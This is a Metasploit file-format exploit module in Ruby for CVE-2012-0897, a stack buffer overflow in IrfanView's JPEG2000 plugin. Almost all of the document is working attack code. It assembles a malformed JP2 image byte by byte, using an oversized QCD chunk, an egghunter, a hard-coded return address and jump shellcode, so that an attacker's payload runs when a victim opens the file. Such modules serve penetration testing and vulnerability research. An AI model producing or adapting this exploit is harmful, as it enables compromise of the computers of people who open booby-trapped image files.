IrfanView JPEG2000 4.3.2.0 – jp2 Stack Buffer Overflow (Metasploit)
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has been tested on a specific version of irfanview (v4.3.2), although other versions may work also. The vulnerability is triggered via parsing an invalid qcd chunk structure and specifying a malformed qcd size and data. Payload delivery and vulnerability trigger can be executed in multiple ways. The user can double click the file, use the file dialog, open via the icon and drag/drop the file into Irfanview\'s window. An egg hunter is used for stability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery 'mr_me <steventhomasseeley[at]gmail.com>', # msf-fu 'juan vazquez' # more improvements ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2012-0897' ], [ 'OSVDB', '78333'], [ 'BID', '51426' ], [ 'URL', 'http://www.greyhathacker.net/?p=525' ], ], 'Platform' => [ 'win' ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 4000, 'DisableNops' => true, }, 'Targets' => [ # push esp; retn [i_view32.exe] # http://www.oldapps.com/irfanview.php?old_irfanview=7097 # http://irfanview.tuwien.ac.at/plugins/irfanview_plugins_432_setup.exe [ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ] ], 'DisclosureDate' => 'Jan 16 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']), ], self.class) end # encode our string like unicode except we are not using nulls def encode_bytes(raw_bytes) encoded_bytes = "" 0.step(raw_bytes.length-1, 2) { |i| encoded_bytes << raw_bytes[i+1] encoded_bytes << raw_bytes[i] } return encoded_bytes end def exploit jp2 = "" jp2 << "\x00\x00\x00\x0c" # jp2 << "\x6a\x50\x20\x20" # [jP ] <0x6a502020> magic 0xd0a870a,len 12 jp2 << "\x0d\x0a\x87\x0a" # jp2 << "\x00\x00\x00\x14" # jp2 << "\x66\x74\x79\x70" # jp2 << "\x6a\x70\x32\x20" # jp2 << "\x00\x00\x00\x00" # MinorVersion = 0 = [\0\0\0\0] jp2 << "\x6a\x70\x32\x20" # Compat = 0x6a703220 = [jp2 ] jp2 << "\x00\x00\x00\x38" # jp2 << "\x75\x75\x69\x64" # [uuid] <0x75756964> len 56 data offset 8 jp2 << "\x61\x70\x00\xde\xec\x87" # 56 bytes with start and end tags jp2 << "\xd5\x11\xb2\xed\x00\x50" # jp2 << "\x04\x71\xfd\xdc\xd2\x00" # jp2 << "\x00\x00\x40\x01\x00\x00" # jp2 << "\x00\x00\x00\x00\x60\x09" # jp2 << "\x00\x00\x00\x00\x00\x00" # jp2 << "\x00\x00\x00\x00\x00\x00" # jp2 << "\x00\x00\x30\x00\x00\x00" # jp2 << "\x00\x00\x00\x2d" # jp2 << "\x6a\x70\x32\x68" # [jp2h] <0x6a703268> len 45 data offset 8 jp2 << "\x00\x00\x00\x16" # jp2 << "\x69\x68\x64\x72" # [ihdr] <0x69686472> len 22 data offset 8 jp2 << "\x00\x00\x00\x0a" # ImageHeight = 10 jp2 << "\x00\x00\x00\x0a" # ImageWidth = 10 jp2 << "\x00\x03" # NumberOfComponents = 3 jp2 << "\x07" # BitsPerComponent = 7 jp2 << "\x07" # Compression = 7 jp2 << "\x01" # Colorspace = 0x1 = unknown jp2 << "\x00\x00\x00\x00\x0f" # jp2 << "\x63\x6f\x6c\x72" # [colr] <0x636f6c72> len 15 data offset 8 jp2 << "\x01" # Method = 1 jp2 << "\x00" # Precedence = 0 jp2 << "\x00" # ColorSpaceAproximation = 0 jp2 << "\x00\x00\x00" # EnumeratedColorSpace = 16 = sRGB jp2 << "\x10\x00\x00\x00\x00" # jp2 << "\x6a\x70\x32\x63" # [jp2c] <0x6a703263> length 0 data offset 8 jp2 << "\xff\x4f" # <0xff4f=JP2C_SOC> Start of codestream jp2 << "\xff\x51" # <0xff51=JP2C_SIZ> length 47 jp2 << "\x00\x2f" # 47 bytes jp2 << "\x00\x00" # Capabilities = 0 jp2 << "\x00\x00\x00\x0a" # GridWidth = 10 jp2 << "\x00\x00\x00\x0a" # GridHeight = 10 jp2 << "\x00\x00\x00\x00" # XImageOffset = 0 jp2 << "\x00\x00\x00\x00" # YImageOffset = 0 jp2 << "\x00\x00\x00\x0a" # TileWidth = 10 jp2 << "\x00\x00\x00\x0a" # TileHeight = 10 jp2 << "\x00\x00\x00\x00" # Xtileoffset = 0 jp2 << "\x00\x00\x00\x00" # Ytileoffset = 0 jp2 << "\x00\x03" # NumberOfComponents = 3 jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1 jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1 jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1 jp2 << "\xff\x52" # <0xff52=JP2C_COD> length 12 jp2 << "\x00\x0c" # 12 bytes jp2 << "\x00" # codingStyle=0=entropy coder w/o partition jp2 << "\x00" # ProgressionOrder = 0 jp2 << "\x00\x05" # NumberOfLayers = 0x5 jp2 << "\x01" # MultiComponentTransform=0x1=5/3 reversible jp2 << "\x05" # DecompLevels = 5 jp2 << "\x04" # CodeBlockWidthExponent=0x4+2 # cbw ->64 jp2 << "\x04" # CodeBlockHeightExponent=0x4+2 # cbh ->64 jp2 << "\x00" # CodeBLockStyle = 0 jp2 << "\x00" # QMIFBankId = 0 eggoptions = { :checksum => false, :eggtag => 'pwnd' } hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) qcd_data = "" qcd_data << make_nops(10) qcd_data << encode_bytes(hunter) qcd_data << rand_text_alpha(146) jmp_hunter = %q{ jmp $-0xad inc ecx } # jump to our egghunter jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string qcd_data << encode_bytes(jmp_hunter) qcd_data << rand_text_alpha(196-qcd_data.length) qcd_data << encode_bytes([target.ret].pack("V")) # align ecx and jmp pivot = %q{ inc ch jmp ecx } pivot = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string qcd_data << encode_bytes(pivot) qcd_data << egg jp2 << "\xff\x5c" # start jp2 << "\x00\xf5" # arbitrary size to trigger overflow jp2 << "\x22" # guard jp2 << qcd_data # malicious code jp2 << "\xff\x90" # <0xff90=JP2C_SOT>len 10 jp2 << "\x00\x0a" # 10 bytes jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01" jp2 << "\xff\x93" # <0xff93=JP2C_SOD> Start of data jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80" jp2 << "\x80\x80" jp2 << "\xff\xd9" # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(jp2) end end |